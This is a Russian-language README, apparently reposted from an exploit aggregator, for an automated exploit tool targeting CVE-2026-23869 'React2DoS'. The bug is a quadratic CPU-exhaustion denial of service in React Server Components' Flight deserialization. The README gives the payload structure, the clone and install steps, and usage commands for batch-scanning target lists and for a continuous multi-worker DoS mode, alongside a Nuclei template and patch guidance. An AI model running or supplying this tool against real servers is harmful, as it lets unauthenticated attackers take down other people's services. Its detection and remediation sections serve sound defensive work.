## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERTECHAJJU-CVE-2026-23869-EXPLOIT
    
# ⚡ CVE-2026-23869 — React2DoS
**Неаутентифицированный удалённый отказ в обслуживании через React Flight Protocol**
Квадратичное истощение CPU при десериализации Map в Server Components
Обзор • Как это работает • Инструменты • Установка • Использование • Nuclei • Исправление • Отказ от ответственности
* * *
## Обзор уязвимости
Поле| Детали
---|---
**CVE ID**| CVE-2026-23869
**Псевдоним**| React2DoS
**Оценка CVSS**| 7.5 (Высокая)
**Вектор CVSS**| `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
**CWE**| CWE-400 (Неконтролируемое потребление ресурсов)
**Тип**| Неаутентифицированный удалённый отказ в обслуживании
**Обнаружено**| Yohann Sillam (Imperva Threat Research)
**Затронуто**| `react-server-dom-webpack` / `parcel` / `turbopack` ≤ 19.2.4
**Исправлено**| React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+
Критическая уязвимость отказа в обслуживании существует в десериализации **Flight protocol** React Server Components. Неаутентифицированный злоумышленник может отправить один специально сформированный HTTP-запрос к любой конечной точке **Server Action** App Router в Next.js, вызывая **квадратичное истощение CPU O(n²)** , которое блокирует сервер на несколько минут.
### Ссылки
* Официальное уведомление Vercel
* Технический анализ Imperva — «React2DoS»
* Патч React PR #36236
* Запись NVD
* * *
## Как это работает
### Ошибка: отсутствующий флаг `consumed` при десериализации Map
Протокол React Flight использует специальные маркеры для сериализации типов данных. `$Q` представляет объект **Map**. Когда сервер получает полезную нагрузку, содержащую самоссылающиеся маркеры `$Q0`:
root@kitploit:~
Payload: [ [1,1], [1,1], ...(n допустимых записей)..., "$Q0", "$Q0", ...(n ссылок)... ]
**Каждый`$Q0`** запускает конструктор `new Map()`, который перебирает **все n допустимых записей**. Конструктор Map выбрасывает ошибку (поскольку записи некорректны), но критическая ошибка заключается в том, что: **флаг`consumed` никогда не устанавливается при сбое**.
Это означает, что **следующий`$Q0`** заново вычисляет ту же самую Map с нуля → создавая сложность **O(n²)** :
root@kitploit:~
n допустимых записей × n ссылок $Q0 = n² вызовов конструктора Map
Пример: 65 000 × 65 000 = 4 225 000 000 операций
Результат: Один запрос блокирует CPU на 5-10+ минут
### Схема атаки
root@kitploit:~
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ Атакующий │ ──────────────────────────────────────▶ │ Сервер Next.js │
│ │ Заголовок: Next-Action: <action_id> │ │
│ │ Тело: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% ЗАБЛОКИРОВАН │
└──────────┘ │ на ~5-10 мин │
└──────────────────┘
### Уязвимый код (до исправления)
root@kitploit:~
// ReactFlightReplyServer.js — ДО патча
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← Завершается ошибкой, но не устанавливает consumed = true
// Следующий $Q0 пересчитывает с нуля
}
### Исправленный код (после исправления)
root@kitploit:~
// ReactFlightReplyServer.js — ПОСЛЕ патча (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← Исправление: установить флаг ДО создания
return new Map(data); // Предотвращает повторный пересчёт
}
* * *
## Включённые инструменты
Файл| Описание
---|---
`poc.py`| Полностью автоматизированный инструмент эксплуатации с 4-фазным конвейером (Разведка → Извлечение → Обнаружение → Эксплуатация)
* * *
## Установка
root@kitploit:~
# Клонировать репозиторий
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# Установить зависимость Python
pip install requests
# Сделать скрипты исполняемыми
chmod +x poc.py scan.sh extract-action-ids.sh
### Необязательные зависимости
root@kitploit:~
# Для сканирования шаблоном Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Для фильтрации живых целей
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
* * *
## Использование
### 🔥 Полное автоматическое сканирование (одна цель)
Просто укажите URL — инструмент сделает всё автоматически:
root@kitploit:~
python3 poc.py -u https://target.com
**Что происходит:**
1. **Фаза 1 — Разведка:** Определяет Next.js (заголовки, HTML-маркеры, build ID)
2. **Фаза 2 — Извлечение:** Находит ID Server Action из JS-бандлов
3. **Фаза 3 — Обнаружение:** Безопасная проверка уязвимости на основе тайминга (проба из 500 записей)
4. **Фаза 4 — Отчёт:** Показывает вердикт об уязвимости с анализом тайминга
### 📋 Пакетное сканирование (несколько целей)
root@kitploit:~
# Сканировать список доменов/IP
python3 poc.py -L targets.txt
# С выводом JSON-отчёта
python3 poc.py -L targets.txt -o results.json
### 🎯 Ручной режим (известный Action ID)
root@kitploit:~
# Только безопасное обнаружение
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# Одиночная эксплуатация
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# Непрерывный DoS (10 воркеров)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
### 🔍 Только извлечение Action ID
root@kitploit:~
python3 poc.py -u https://target.com --extract
### ⚙️ Все параметры
root@kitploit:~
Options:
-u, --url URL Целевой URL (одна цель)
-L, --list FILE Файл с целевыми URL/IP (по одному в строке)
-a, --action-id ID ID Server Action (пропустить автоматическое извлечение)
--detect Только обнаружение — безопасно, неразрушающе (по умолчанию)
--single Одиночная эксплуатация после обнаружения
--exploit Непрерывный DoS после обнаружения
--extract Только извлечение action ID
-l, --length N Записей в полезной нагрузке (по умолчанию: 130000)
-w, --workers N Параллельных воркеров (по умолчанию: 5)
-d, --delay SEC Задержка между запросами (по умолчанию: 1.0)
-o, --output FILE Сохранить JSON-отчёт
-t, --threads N Параллельных целей для сканирования списка (по умолчанию: 3)
### Обратная совместимость
Оригинальный синтаксис PoC по-прежнему работает:
root@kitploit:~
python3 poc.py <ACTION_ID> <URL>
* * *
## Шаблон Nuclei
### Быстрое сканирование
root@kitploit:~
# Одна цель
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# Несколько целей
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# Чистый вывод (только уязвимые результаты)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
> **Примечание:** Флаг `-itags dos` **обязателен** , поскольку Nuclei по умолчанию исключает DoS-шаблоны в целях безопасности.
### Поток обнаружения шаблона
root@kitploit:~
Запрос 1 (GET /) → Определение Next.js (заголовки + HTML-маркеры)
Запрос 2 (GET /) → Извлечение ID Server Action из createServerReference()
Запрос 3 (POST /) → Базовый запрос для замера времени (безвредная нагрузка)
Запрос 4 (POST /) → Эксплуатационная проба (250 допустимых + 250 записей $Q0)
└─ Если время ответа ≥ 3с → УЯЗВИМО
### Скрипт автоматического сканера
root@kitploit:~
# Запускает httpx → фильтрует живые цели → сканирование nuclei → результаты
./scan.sh
# Или укажите свои файлы
./scan.sh targets1.txt targets2.txt
* * *
## Логика обнаружения
Инструмент использует **обнаружение на основе тайминга** для безопасной идентификации уязвимых серверов:
Обнаружение подтверждается, когда:
* Время ответа на пробу **≥ 3 секунд** , ИЛИ
* Соотношение Проба/Базовый **> 5x** при времени пробы **> 1 секунды**
* * *
## Затронутые версии
* * *
## Исправление
1. **Обновите React** до версии **19.2.5** или новее
2. **Обновите Next.js** до версии **15.5.15** или **16.2.3** или новее
3. **Правила WAF:** Блокируйте запросы с аномально большими телами `multipart/form-data`, содержащими маркеры `$Q`
4. **Ограничение скорости:** Внедрите ограничения скорости на конечных точках Server Action
5. **Мониторинг:** Настройте оповещения о высоком использовании CPU, коррелирующем с POST-запросами к `/`
* * *
## Структура проекта
root@kitploit:~
CVE-2026-23869-Exploit/
├── README.md # Этот файл
├── poc.py # Полностью автоматизированный инструмент PoC
├── CVE-2026-23869.yaml # Шаблон обнаружения Nuclei
├── scan.sh # Автосканер httpx + nuclei
└── extract-action-ids.sh # Автономный извлекатель action ID
* * *
## Скриншоты
### Полное автоматическое сканирование
root@kitploit:~
╔══════════════════════════════════════════════════╗
║ ФАЗА 1 ▸ РАЗВЕДКА ║
╚══════════════════════════════════════════════════╝
✓ Next.js обнаружен (Next.js)
✓ Build ID: abc123def456
✓ App Router: Server Actions обнаружены
╔══════════════════════════════════════════════════╗
║ ФАЗА 2 ▸ ИЗВЛЕЧЕНИЕ ACTION ID ║
╚══════════════════════════════════════════════════╝
✓ Найдено 3 Action ID:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ ФАЗА 3 ▸ ОБНАРУЖЕНИЕ УЯЗВИМОСТИ ║
╚══════════════════════════════════════════════════╝
[1/2] Базовый: 0.142с
[2/2] Проба: 7.891с (55.6x от базового)
██ УЯЗВИМО — CVE-2026-23869 ПОДТВЕРЖДЕНО ██
### Результаты пакетного сканирования
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║ РЕЗУЛЬТАТЫ ПАКЕТНОГО СКАНИРОВАНИЯ ║
╚══════════════════════════════════════════════════════════════╝
Просканировано : 150 целей за 45.2с
Уязвимых : 3
Исправленных : 12
Пропущено : 135
🔴 УЯЗВИМЫЕ ЦЕЛИ
─────────────────────────────────────────────────
# ЦЕЛЬ ПРОБА СООТНОШЕНИЕ
1 vulnerable-app.com 7.89с 55.6x
2 staging.example.com 4.21с 28.1x
3 dev.testsite.org 12.33с 82.2x
* * *
## Отказ от ответственности
> **⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ**
>
> Этот инструмент предоставляется **только в образовательных целях** и для **авторизованного тестирования на проникновение**. Несанкционированное использование этого инструмента против целей, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, **является незаконным** и может нарушать законы о компьютерном мошенничестве (CFAA, CMA и др.).
>
> Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Всегда получайте надлежащее письменное разрешение перед тестированием любых систем.
* * *
## Авторы
* **Исследование уязвимости:** Yohann Sillam — Imperva Threat Research
* **Разработка PoC:** cybertechajju
* **Патч React:** Команда React Facebook/Meta
* * *
  
Если вы нашли это полезным, поставьте ⭐